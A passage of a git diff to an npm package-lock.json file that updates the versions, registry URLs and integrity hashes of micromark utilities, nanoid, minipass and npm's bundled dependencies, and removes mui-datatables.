"resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", + "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", "funding": [ { "type": "GitHub Sponsors", @@ -9024,9 +9498,9 @@ } }, "node_modules/micromark-util-resolve-all": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.0.0.tgz", - "integrity": "sha512-CB/AGk98u50k42kvgaMM94wzBqozSzDDaonKU7P7jwQIuH2RU0TeBqGYJz2WY1UdihhjweivStrJ2JdkdEmcfw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", + "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", "funding": [ { "type": "GitHub Sponsors", @@ -9042,9 +9516,9 @@ } }, "node_modules/micromark-util-sanitize-uri": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.1.0.tgz", - "integrity": "sha512-RoxtuSCX6sUNtxhbmsEFQfWzs8VN7cTctmBPvYivo98xb/kDEoTCtJQX5wyzIYEmk/lvNFTat4hL8oW0KndFpg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", + "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", "funding": [ { "type": "GitHub Sponsors", @@ -9062,9 +9536,9 @@ } }, "node_modules/micromark-util-subtokenize": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.0.2.tgz", - "integrity": "sha512-d90uqCnXp/cy4G881Ub4psE57Sf8YD0pim9QdjCRNjfas2M1u6Lbt+XZK9gnHL2XFhnozZiEdCa9CNfXSfQ6xA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", + "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", "funding": [ { "type": "GitHub Sponsors", @@ -9083,9 +9557,9 @@ } }, "node_modules/micromark-util-symbol": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.0.1.tgz", - "integrity": "sha512-oKDEMK2u5qqAptasDAwWDXq0tG9AssVwAx3E9bBF3t/shRIGsWIRG+cGafs2p/SnDSOecnt6hZPCE2o6lHfFmQ==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", "funding": [ { "type": "GitHub Sponsors", @@ -9098,9 +9572,9 @@ ] }, "node_modules/micromark-util-types": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.0.2.tgz", - "integrity": "sha512-DCfg/T8fcrhrRKTPjRrw/5LLvdGV7BHySf/1LOZx7TzWZdYRjogNtyNq885z3nNallwr3QUKARjqvHqX1/7t+w==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.1.0.tgz", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", "funding": [ { "type": "GitHub Sponsors", @@ -9205,12 +9679,12 @@ } }, "node_modules/minipass": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-4.2.4.tgz", - "integrity": "sha512-lwycX3cBMTvcejsHITUgYj6Gy6A7Nh4Q6h9NP4sTHY1ccJlC7yKzDmiShEHsJ16Jf1nKGDEaiHxiltsJEvk0nQ==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.0.3.tgz", + "integrity": "sha512-LhbbwCfz3vsb12j/WkWQPZfKTsgqIe1Nf/ti1pKjYESGLHIVjWU96G9/ljLH4F9mWNVhlQOm0VySdAWzf05dpg==", "dev": true, "engines": { - "node": ">=8" + "node": ">=16 || 14 >=14.17" } }, "node_modules/mkdirp": { @@ -9238,35 +9712,6 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" }, - "node_modules/mui-datatables": { - "version": "3.8.5", - "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.8.5.tgz", - "integrity": "sha512-VS54Xkm5eXsPOUvzG3vXVjgSd2/nswwvhMK2D4PiHpV5MRJwfc6mdyuskh3s3jUi3NC8N+u7NsxX4pY14qaoKQ==", - "dependencies": { - "@babel/runtime-corejs3": "^7.12.1", - "clsx": "^1.1.1", - "lodash.assignwith": "^4.2.0", - "lodash.clonedeep": "^4.5.0", - "lodash.debounce": "^4.0.8", - "lodash.find": "^4.6.0", - "lodash.get": "^4.4.2", - "lodash.isequal": "^4.5.0", - "lodash.isundefined": "^3.0.1", - "lodash.memoize": "^4.1.2", - "lodash.merge": "^4.6.2", - "prop-types": "^15.7.2", - "react-dnd": "^11.1.3", - "react-dnd-html5-backend": "^11.1.3", - "react-sortable-tree": "^2.7.1", - "react-to-print": "^2.8.0" - }, - "peerDependencies": { - "@material-ui/core": "^4.12.0", - "@material-ui/icons": "^4.11.0", - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" - } - }, "node_modules/multicast-dns": { "version": "7.2.5", "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", @@ -9281,14 +9726,20 @@ } }, "node_modules/nanoid": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", - "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-4.0.2.tgz", + "integrity": "sha512-7ZtY5KTCNheRGfEFxnedV5zFiORN1+Y1N6zvPTnHQd8ENUvfaDBeuJDZb2bN/oXwXxu3qkTXDzy57W5vAmDTBw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], "bin": { - "nanoid": "bin/nanoid.cjs" + "nanoid": "bin/nanoid.js" }, "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + "node": "^14 || ^16 || >=18" } }, "node_modules/natural-compare": { @@ -9384,9 +9835,9 @@ } }, "node_modules/node-releases": { - "version": "2.0.10", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz", - "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==" + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==" }, "node_modules/noms": { "version": "0.0.0", @@ -9437,15 +9888,17 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "node_modules/npm": { - "version": "9.6.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-9.6.0.tgz", - "integrity": "sha512-BE7ZFIXSg5iiSrrFvcEDqZuCynfkKjIiLjq3vFgpogu0eMb7S6LUYSUPsSMp4m5ORRme7zDCRnaBdCWrxU3mVg==", + "version": "9.8.1", + "resolved": "https://registry.npmjs.org/npm/-/npm-9.8.1.tgz", + "integrity": "sha512-AfDvThQzsIXhYgk9zhbk5R+lh811lKkLAeQMMhSypf1BM7zUafeIIBzMzespeuVEJ0+LvY36oRQYf7IKLzU3rw==", "bundleDependencies": [ "@isaacs/string-locale-compare", "@npmcli/arborist", "@npmcli/config", + "@npmcli/fs", "@npmcli/map-workspaces", "@npmcli/package-json", + "@npmcli/promise-spawn", "@npmcli/run-script", "abbrev", "archy", @@ -9496,10 +9949,10 @@ "proc-log", "qrcode-terminal", "read", - "read-package-json", - "read-package-json-fast", "semver", + "sigstore", "ssri", + "supports-color", "tar", "text-table", "tiny-relative-date", @@ -9511,71 +9964,73 @@ "dev": true, "dependencies": { "@isaacs/string-locale-compare": "^1.1.0", - "@npmcli/arborist": "^6.2.4", - "@npmcli/config": "^6.1.3", - "@npmcli/map-workspaces": "^3.0.2", - "@npmcli/package-json": "^3.0.0", - "@npmcli/run-script": "^6.0.0", + "@npmcli/arborist": "^6.3.0", + "@npmcli/config": "^6.2.1", + "@npmcli/fs": "^3.1.0", + "@npmcli/map-workspaces": "^3.0.4", + "@npmcli/package-json": "^4.0.1", + "@npmcli/promise-spawn": "^6.0.2", + "@npmcli/run-script": "^6.0.2", "abbrev": "^2.0.0", "archy": "~1.0.0", - "cacache": "^17.0.4", - "chalk": "^4.1.2", + "cacache": "^17.1.3", + "chalk": "^5.3.0", "ci-info": "^3.8.0", "cli-columns": "^4.0.0", "cli-table3": "^0.6.3", "columnify": "^1.6.0", "fastest-levenshtein": "^1.0.16", - "fs-minipass": "^3.0.1", - "glob": "^8.1.0", - "graceful-fs": "^4.2.10", + "fs-minipass": "^3.0.2", + "glob": "^10.2.7", + "graceful-fs": "^4.2.11", "hosted-git-info": "^6.1.1", - "ini": "^3.0.1", + "ini": "^4.1.1", "init-package-json": "^5.0.0", "is-cidr": "^4.0.2", "json-parse-even-better-errors": "^3.0.0", "libnpmaccess": "^7.0.2", - "libnpmdiff": "^5.0.12", - "libnpmexec": "^5.0.12", - "libnpmfund": "^4.0.12", + "libnpmdiff": "^5.0.19", + "libnpmexec": "^6.0.3", + "libnpmfund": "^4.0.19", "libnpmhook": "^9.0.3", - "libnpmorg": "^5.0.3", - "libnpmpack": "^5.0.12", - "libnpmpublish": "^7.1.0", + "libnpmorg": "^5.0.4", + "libnpmpack": "^5.0.19", + "libnpmpublish": "^7.5.0", "libnpmsearch": "^6.0.2", "libnpmteam": "^5.0.3", "libnpmversion": "^4.0.2", - "make-fetch-happen": "^11.0.3", - "minimatch": "^6.2.0", - "minipass": "^4.0.3", + "make-fetch-happen": "^11.1.1", + "minimatch": "^9.0.3", + "minipass": "^5.0.0", "minipass-pipeline": "^1.2.4", "ms": "^2.1.2", - "node-gyp": "^9.3.1", - "nopt": "^7.0.0", - "npm-audit-report": "^4.0.0", - "npm-install-checks": "^6.0.0", + "node-gyp": "^9.4.0", + "nopt": "^7.2.0", + "npm-audit-report": "^5.0.0", + "npm-install-checks": "^6.1.1", "npm-package-arg": "^10.1.0", "npm-pick-manifest": "^8.0.1", "npm-profile": "^7.0.1", - "npm-registry-fetch": "^14.0.3", + "npm-registry-fetch": "^14.0.5", "npm-user-validate": "^2.0.0", "npmlog": "^7.0.1", "p-map": "^4.0.0", - "pacote": "^15.1.1", - "parse-conflict-json": "^3.0.0", + "pacote": "^15.2.0", + "parse-conflict-json": "^3.0.1", "proc-log": "^3.0.0", "qrcode-terminal": "^0.12.0", - "read": "^2.0.0", - "read-package-json": "^6.0.0", - "read-package-json-fast": "^3.0.2", - "semver": "^7.3.8", - "ssri": "^10.0.1", - "tar": "^6.1.13", + "read": "^2.1.0", + "semver": "^7.5.4", + "sigstore": "^1.7.0", + "ssri": "^10.0.4", + "supports-color": "^9.4.0", + "tar": "^6.1.15", "text-table": "~0.2.0", "tiny-relative-date": "^1.3.0", "treeverse": "^3.0.0", "validate-npm-package-name": "^5.0.0", - "which": "^3.0.0", - "write-file-atomic": "^5.0.0" + "which": "^3.0.1", + "write-file-atomic": "^5.0.1" }, "bin": { "npm": "bin/npm-cli.js", @@ -9607,12 +10062,73 @@ "node": ">=0.1.90" } }, - "node_modules/npm/node_modules/@gar/promisify": { - "version": "1.1.3", + "node_modules/npm/node_modules/@isaacs/cliui": { + "version": "8.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/npm/node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/npm/node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", "dev": true, "inBundle": true, "license": "MIT" }, + "node_modules/npm/node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, "node_modules/npm/node_modules/@isaacs/string-locale-compare": { "version": "1.1.0", "dev": true, @@ -9620,7 +10136,7 @@ "license": "ISC" }, "node_modules/npm/node_modules/@npmcli/arborist": { - "version": "6.2.4", + "version": "6.3.0", "dev": true, "inBundle": true, "license": "ISC", @@ -9632,7 +10148,7 @@ "@npmcli/metavuln-calculator": "^5.0.0", "@npmcli/name-from-folder": "^2.0.0", "@npmcli/node-gyp": "^3.0.0", - "@npmcli/package-json": "^3.0.0", + "@npmcli/package-json": "^4.0.0", "@npmcli/query": "^3.0.0", "@npmcli/run-script": "^6.0.0", "bin-links": "^4.0.1", @@ -9641,7 +10157,7 @@ "hosted-git-info": "^6.1.1", "json-parse-even-better-errors": "^3.0.0", "json-stringify-nice": "^1.1.4", - "minimatch": "^6.1.6", + "minimatch": "^9.0.0", "nopt": "^7.0.0", "npm-install-checks": "^6.0.0", "npm-package-arg": "^10.1.0", @@ -9652,12 +10168,12 @@ "parse-conflict-json": "^3.0.0", "proc-log": "^3.0.0", "promise-all-reject-late": "^1.0.0", - "promise-call-limit": "^1.0.1", + "promise-call-limit": "^1.0.2", "read-package-json-fast": "^3.0.2", "semver": "^7.3.7", "ssri": "^10.0.1", "treeverse": "^3.0.0", - "walk-up-path": "^1.0.0" + "walk-up-path": "^3.0.1" }, "bin": { "arborist": "bin/index.js" @@ -9667,18 +10183,19 @@ } }, "node_modules/npm/node_modules/@npmcli/config": { - "version": "6.1.3", + "version": "6.2.1", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "@npmcli/map-workspaces": "^3.0.2", - "ini": "^3.0.0", + "ci-info": "^3.8.0", + "ini": "^4.1.0", "nopt": "^7.0.0", "proc-log": "^3.0.0", "read-package-json-fast": "^3.0.2", "semver": "^7.3.5", - "walk-up-path": "^1.0.0" + "walk-up-path": "^3.0.1" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -9709,14 +10226,13 @@ } }, "node_modules/npm/node_modules/@npmcli/git": { - "version": "4.0.3", + "version": "4.1.0", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "@npmcli/promise-spawn": "^6.0.0", "lru-cache": "^7.4.4", - "mkdirp": "^1.0.4", "npm-pick-manifest": "^8.0.0", "proc-log": "^3.0.0", "promise-inflight": "^1.0.1", @@ -9745,14 +10261,14 @@ } }, "node_modules/npm/node_modules/@npmcli/map-workspaces": { - "version": "3.0.2", + "version": "3.0.4", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "@npmcli/name-from-folder": "^2.0.0", - "glob": "^8.0.1", - "minimatch": "^6.1.6", + "glob": "^10.2.2", + "minimatch": "^9.0.0", "read-package-json-fast": "^3.0.0" }, "engines": { @@ -9760,7 +10276,7 @@ } }, "node_modules/npm/node_modules/@npmcli/metavuln-calculator": { - "version": "5.0.0", + "version": "5.0.1", "dev": true, "inBundle": true, "license": "ISC", @@ -9774,19 +10290,6 @@ "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } }, - "node_modules/npm/node_modules/@npmcli/move-file": { - "version": "2.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "mkdirp": "^1.0.4", - "rimraf": "^3.0.2" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, "node_modules/npm/node_modules/@npmcli/name-from-folder": { "version": "2.0.0", "dev": true, @@ -9806,12 +10309,18 @@ } }, "node_modules/npm/node_modules/@npmcli/package-json": { - "version": "3.0.0", + "version": "4.0.1", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "json-parse-even-better-errors": "^3.0.0" + "@npmcli/git": "^4.1.0", + "glob": "^10.2.2", + "hosted-git-info": "^6.1.1", + "json-parse-even-better-errors": "^3.0.0", + "normalize-package-data": "^5.0.0", + "proc-log": "^3.0.0", + "semver": "^7.5.3" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -9842,7 +10351,7 @@ } }, "node_modules/npm/node_modules/@npmcli/run-script": { - "version": "6.0.0", + "version": "6.0.2", "dev": true, "inBundle": true, "license": "ISC", @@ -9857,17 +10366,71 @@ "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } }, - "node_modules/npm/node_modules/@tootallnate/once": { - "version": "2.0.0", + "node_modules/npm/node_modules/@pkgjs/parseargs": { + "version": "0.11.0", "dev": true, "inBundle": true, "license": "MIT", + "optional": true, "engines": { - "node": ">= 10" + "node": ">=14" } }, - "node_modules/npm/node_modules/abbrev": { - "version": "2.0.0", + "node_modules/npm/node_modules/@sigstore/protobuf-specs": { + "version": "0.1.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/npm/node_modules/@sigstore/tuf": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "@sigstore/protobuf-specs": "^0.1.0", + "tuf-js": "^1.1.7" + }, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/npm/node_modules/@tootallnate/once": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/@tufjs/canonical-json": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/npm/node_modules/@tufjs/models": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "@tufjs/canonical-json": "1.0.0", + "minimatch": "^9.0.0" + }, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/npm/node_modules/abbrev": { + "version": "2.0.0", "dev": true, "inBundle": true, "license": "ISC", @@ -9900,13 +10463,13 @@ } }, "node_modules/npm/node_modules/agentkeepalive": { - "version": "4.2.1", + "version": "4.3.0", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { "debug": "^4.1.0", - "depd": "^1.1.2", + "depd": "^2.0.0", "humanize-ms": "^1.2.1" }, "engines": { @@ -10002,7 +10565,7 @@ "license": "MIT" }, "node_modules/npm/node_modules/bin-links": { - "version": "4.0.1", + "version": "4.0.2", "dev": true, "inBundle": true, "license": "ISC", @@ -10068,21 +10631,20 @@ } }, "node_modules/npm/node_modules/cacache": { - "version": "17.0.4", + "version": "17.1.3", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "@npmcli/fs": "^3.1.0", "fs-minipass": "^3.0.0", - "glob": "^8.0.1", + "glob": "^10.2.2", "lru-cache": "^7.7.1", - "minipass": "^4.0.0", + "minipass": "^5.0.0", "minipass-collect": "^1.0.2", "minipass-flush": "^1.0.5", "minipass-pipeline": "^1.2.4", "p-map": "^4.0.0", - "promise-inflight": "^1.0.1", "ssri": "^10.0.0", "tar": "^6.1.11", "unique-filename": "^3.0.0" @@ -10092,16 +10654,12 @@ } }, "node_modules/npm/node_modules/chalk": { - "version": "4.1.2", + "version": "5.3.0", "dev": true, "inBundle": true, "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, "engines": { - "node": ">=10" + "node": "^12.17.0 || ^14.13 || >=16.0.0" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" @@ -10256,6 +10814,35 @@ "inBundle": true, "license": "ISC" }, + "node_modules/npm/node_modules/cross-spawn": { + "version": "7.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/cross-spawn/node_modules/which": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/npm/node_modules/cssesc": { "version": "3.0.0", "dev": true, @@ -10310,12 +10897,12 @@ "license": "MIT" }, "node_modules/npm/node_modules/depd": { - "version": "1.1.2", + "version": "2.0.0", "dev": true, "inBundle": true, "license": "MIT", "engines": { - "node": ">= 0.6" + "node": ">= 0.8" } }, "node_modules/npm/node_modules/diff": { @@ -10327,6 +10914,12 @@ "node": ">=0.3.1" } }, + "node_modules/npm/node_modules/eastasianwidth": { + "version": "0.2.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, "node_modules/npm/node_modules/emoji-regex": { "version": "8.0.0", "dev": true, @@ -10376,6 +10969,12 @@ "node": ">=0.8.x" } }, + "node_modules/npm/node_modules/exponential-backoff": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0" + }, "node_modules/npm/node_modules/fastest-levenshtein": { "version": "1.0.16", "dev": true, @@ -10385,13 +10984,29 @@ "node": ">= 4.9.1" } }, + "node_modules/npm/node_modules/foreground-child": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/npm/node_modules/fs-minipass": { - "version": "3.0.1", + "version": "3.0.2", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "minipass": "^4.0.0" + "minipass": "^5.0.0" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -10410,7 +11025,7 @@ "license": "MIT" }, "node_modules/npm/node_modules/gauge": { - "version": "5.0.0", + "version": "5.0.1", "dev": true, "inBundle": true, "license": "ISC", @@ -10419,7 +11034,7 @@ "color-support": "^1.1.3", "console-control-strings": "^1.1.0", "has-unicode": "^2.0.1", - "signal-exit": "^3.0.7", + "signal-exit": "^4.0.1", "string-width": "^4.2.3", "strip-ansi": "^6.0.1", "wide-align": "^1.1.5" @@ -10429,38 +11044,29 @@ } }, "node_modules/npm/node_modules/glob": { - "version": "8.1.0", + "version": "10.2.7", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^5.0.1", - "once": "^1.3.0" + "foreground-child": "^3.1.0", + "jackspeak": "^2.0.3", + "minimatch": "^9.0.1", + "minipass": "^5.0.0 || ^6.0.2", + "path-scurry": "^1.7.0" + }, + "bin": { + "glob": "dist/cjs/src/bin.js" }, "engines": { - "node": ">=12" + "node": ">=16 || 14 >=14.17" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/npm/node_modules/glob/node_modules/minimatch": { - "version": "5.1.6", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/npm/node_modules/graceful-fs": { - "version": "4.2.10", + "version": "4.2.11", "dev": true, "inBundle": true, "license": "ISC" @@ -10477,15 +11083,6 @@ "node": ">= 0.4.0" } }, - "node_modules/npm/node_modules/has-flag": { - "version": "4.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/npm/node_modules/has-unicode": { "version": "2.0.1", "dev": true, @@ -10580,12 +11177,12 @@ "license": "BSD-3-Clause" }, "node_modules/npm/node_modules/ignore-walk": { - "version": "6.0.1", + "version": "6.0.3", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "minimatch": "^6.1.6" + "minimatch": "^9.0.0" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -10609,12 +11206,6 @@ "node": ">=8" } }, - "node_modules/npm/node_modules/infer-owner": { - "version": "1.0.4", - "dev": true, - "inBundle": true, - "license": "ISC" - }, "node_modules/npm/node_modules/inflight": { "version": "1.0.6", "dev": true, @@ -10632,12 +11223,12 @@ "license": "ISC" }, "node_modules/npm/node_modules/ini": { - "version": "3.0.1", + "version": "4.1.1", "dev": true, "inBundle": true, "license": "ISC", "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } }, "node_modules/npm/node_modules/init-package-json": { @@ -10686,7 +11277,7 @@ } }, "node_modules/npm/node_modules/is-core-module": { - "version": "2.11.0", + "version": "2.12.1", "dev": true, "inBundle": true, "license": "MIT", @@ -10718,6 +11309,24 @@ "inBundle": true, "license": "ISC" }, + "node_modules/npm/node_modules/jackspeak": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, "node_modules/npm/node_modules/json-parse-even-better-errors": { "version": "3.0.0", "dev": true, @@ -10746,7 +11355,7 @@ "license": "MIT" }, "node_modules/npm/node_modules/just-diff": { - "version": "5.2.0", + "version": "6.0.2", "dev": true, "inBundle": true, "license": "MIT" @@ -10771,17 +11380,17 @@ } }, "node_modules/npm/node_modules/libnpmdiff": { - "version": "5.0.12", + "version": "5.0.19", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "@npmcli/arborist": "^6.2.4", + "@npmcli/arborist": "^6.3.0", "@npmcli/disparity-colors": "^3.0.0", "@npmcli/installed-package-contents": "^2.0.2", "binary-extensions": "^2.2.0", "diff": "^5.1.0", - "minimatch": "^6.1.6", + "minimatch": "^9.0.0", "npm-package-arg": "^10.1.0", "pacote": "^15.0.8", "tar": "^6.1.13" @@ -10791,14 +11400,13 @@ } }, "node_modules/npm/node_modules/libnpmexec": { - "version": "5.0.12", + "version": "6.0.3", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "@npmcli/arborist": "^6.2.4", + "@npmcli/arborist": "^6.3.0", "@npmcli/run-script": "^6.0.0", - "chalk": "^4.1.0", "ci-info": "^3.7.1", "npm-package-arg": "^10.1.0", "npmlog": "^7.0.1", @@ -10807,19 +11415,19 @@ "read": "^2.0.0", "read-package-json-fast": "^3.0.2", "semver": "^7.3.7", - "walk-up-path": "^1.0.0" + "walk-up-path": "^3.0.1" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } }, "node_modules/npm/node_modules/libnpmfund": { - "version": "4.0.12", + "version": "4.0.19", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "@npmcli/arborist": "^6.2.4" + "@npmcli/arborist": "^6.3.0" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -10839,7 +11447,7 @@ } }, "node_modules/npm/node_modules/libnpmorg": { - "version": "5.0.3", + "version": "5.0.4", "dev": true, "inBundle": true, "license": "ISC", @@ -10852,12 +11460,12 @@ } }, "node_modules/npm/node_modules/libnpmpack": { - "version": "5.0.12", + "version": "5.0.19", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "@npmcli/arborist": "^6.2.4", + "@npmcli/arborist": "^6.3.0", "@npmcli/run-script": "^6.0.0", "npm-package-arg": "^10.1.0", "pacote": "^15.0.8" @@ -10867,7 +11475,7 @@ } }, "node_modules/npm/node_modules/libnpmpublish": { - "version": "7.1.0", + "version": "7.5.0", "dev": true, "inBundle": true, "license": "ISC", @@ -10876,8 +11484,9 @@ 